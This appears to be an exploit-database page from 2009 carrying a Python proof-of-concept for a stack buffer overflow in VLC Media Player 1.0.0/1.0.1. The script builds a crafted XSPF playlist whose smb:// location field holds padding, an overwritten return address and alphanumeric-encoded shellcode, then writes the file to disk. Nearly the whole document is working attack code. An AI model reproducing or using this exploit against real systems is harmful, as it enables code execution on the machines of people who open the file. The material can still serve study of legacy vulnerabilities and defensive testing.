VLC Media Player <= 1.0.1 smb:-- URI Handling Remote BOF Exploit

2009-08-14 21:32:41

#!/usr/bin/env python
# VLC Media Player 1.0.0\1.0.1 smb:// URI Handling Remote Stack Overflow
# Xpl By : Mountassif Moad
# Thanks : His0ka - Simo-soft - v4 Team
# Original : 9427
#

popup_msg=(
"TY777777777777777777777777777777777QZjAXP0A0AkAAQ2AB2BB0"
"BBABXP8ABuJIXkweaHrJwpf02pQzePMhyzWwSuQnioXPOHuBxKnaQlkO"
"jpJHIvKOYokObPPwRN1uqt5PA") # from his0k4 exploit :d cose i lost the alpha encoder tool :s

header1 = ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n")
header1 += ("<playlist version=\"1\" xmlns=\"http://xspf.org/ns/0/\" xmlns:vlc=\"http://www.videolan.org/vlc/playlist/ns/0/\">\n")
header1 += ("\t<title>Playlist</title>\n")
header1 += ("\t<trackList>\n")
header1 += ("\t\t<track>\n")
header1 += ("\t\t\t<location>smb://[email protected]/foo/#{")
payload = ("\x41" * 2 + "\x42" * 4 + "\x43" * 90 + "\x33\x52\x48\x7E" + popup_msg + "\x45" * 43 )
header2 = ("}</location>\n");
header2 += ("\t\t\t<extension application=\"http://www.videolan.org/vlc/playlist/0\">\n");
header2 += ("\t\t\t\t<vlc:id>0</vlc:id>\n");
header2 += ("\t\t\t</extension>\n");
header2 += ("\t\t</track>\n");
header2 += ("\t</trackList>\n");
header2 += ("</playlist>\n");
try:
f1 = open("vlc_1.0.X.xspf","w")
f1.write(header1 + payload + header2)
f1.close()
print("\nExploit file created!\n")
except:
print "Error"

#

Fixes

No fixes

In order to submit a new fix you need to be registered.